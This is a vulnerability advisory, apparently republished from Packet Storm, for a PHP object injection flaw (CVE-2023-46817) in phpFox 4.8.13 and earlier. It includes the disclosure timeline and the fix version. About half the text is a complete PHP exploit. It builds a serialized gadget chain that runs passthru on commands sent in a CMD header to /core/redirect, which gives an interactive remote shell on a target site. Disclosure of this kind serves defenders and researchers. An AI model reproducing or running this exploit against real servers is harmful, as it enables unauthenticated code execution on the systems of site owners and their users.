-------------------------------------------------------------- phpFox <= 4.8.13 (redirect) PHP Object Injection Vulnerability -------------------------------------------------------------- [-] Software Link: https://www.phpfox.com [-] Affected Versions: Version 4.8.13 and prior versions. [-] Vulnerability Description: User input passed through the "url" request parameter to the /core/redirect route is not properly sanitized before being used in a call to the unserialize() PHP function. This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as executing arbitrary PHP code. [-] Proof of Concept: https://karmainsecurity.com/pocs/CVE-2023-46817.php (Packet Storm note: POC included at bottom) [-] Solution: Upgrade to version 4.8.14 or later. [-] Disclosure Timeline: [05/10/2023] - Vendor contacted through https://clients.phpfox.com [05/10/2023] - Vendor response stating "we currently do not have such security requirements" [06/10/2023] - CVE identifier requested [09/10/2023] - Vulnerability details shared with the vendor, stating the issue is quite critical [17/10/2023] - Vendor contacted again, asking for an update [18/10/2023] - Vendor response stating "this issue is fixed in our latest version (4.8.13)", but that's not the truth [26/10/2023] - Version 4.8.14 released [27/10/2023] - CVE identifier assigned [27/10/2023] - Public disclosure [-] CVE Reference: The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2023-46817 to this vulnerability. [-] Credits: Vulnerability discovered by Egidio Romano. [-] Original Advisory: https://karmainsecurity.com/KIS-2023-12 [-] Other References: https://docs.phpfox.com/display/FOX4MAN/phpFox+4.8.14 --- CVE-2023-46817.php poc --- <?php /* -------------------------------------------------------------- phpFox <= 4.8.13 (redirect) PHP Object Injection Vulnerability -------------------------------------------------------------- author..............: Egidio Romano aka EgiX mail................: n0b0d13s[at]gmail[dot]com software link.......: https://www.phpfox.com +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerability Description: User input passed through the "url" request parameter to the /core/redirect route is not properly sanitized before being used in a call to the unserialize() PHP function. This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as executing arbitrary PHP code. [-] Original Advisory: https://karmainsecurity.com/KIS-2023-12 */ set_time_limit(0); error_reporting(E_ERROR); if (!extension_loaded("curl")) die("[+] cURL extension required!\n"); print "+------------------------------------------------------------------+\n"; print "| phpFox <= 4.8.13 (redirect) PHP Object Injection Exploit by EgiX |\n"; print "+------------------------------------------------------------------+\n"; if ($argc != 2) die("\nUsage: php $argv[0] <URL>\n\n"); function encode($string) { $string = addslashes(gzcompress($string, 9)); return urlencode(strtr(base64_encode($string), '+/=', '-_,')); } class Phpfox_Request { private $_sName = "EgiX"; private $_sPluginRequestGet = "print '_____'; passthru(base64_decode(\$_SERVER['HTTP_CMD'])); print '_____'; die;"; } class Core_Objectify { private $__toString; function __construct($callback) { $this->__toString = $callback; } } print "\n[+] Launching shell on {$argv[1]}\n"; $popChain = serialize(new Core_Objectify([new Phpfox_Request, "get"])); $popChain = str_replace('Core_Objectify', 'Core\Objectify', $popChain); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "{$argv[1]}index.php/core/redirect"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_POSTFIELDS, "url=".encode($popChain)); while(1) { print "\nphpFox-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]); preg_match("/_____(.*)_____/s", curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n"); }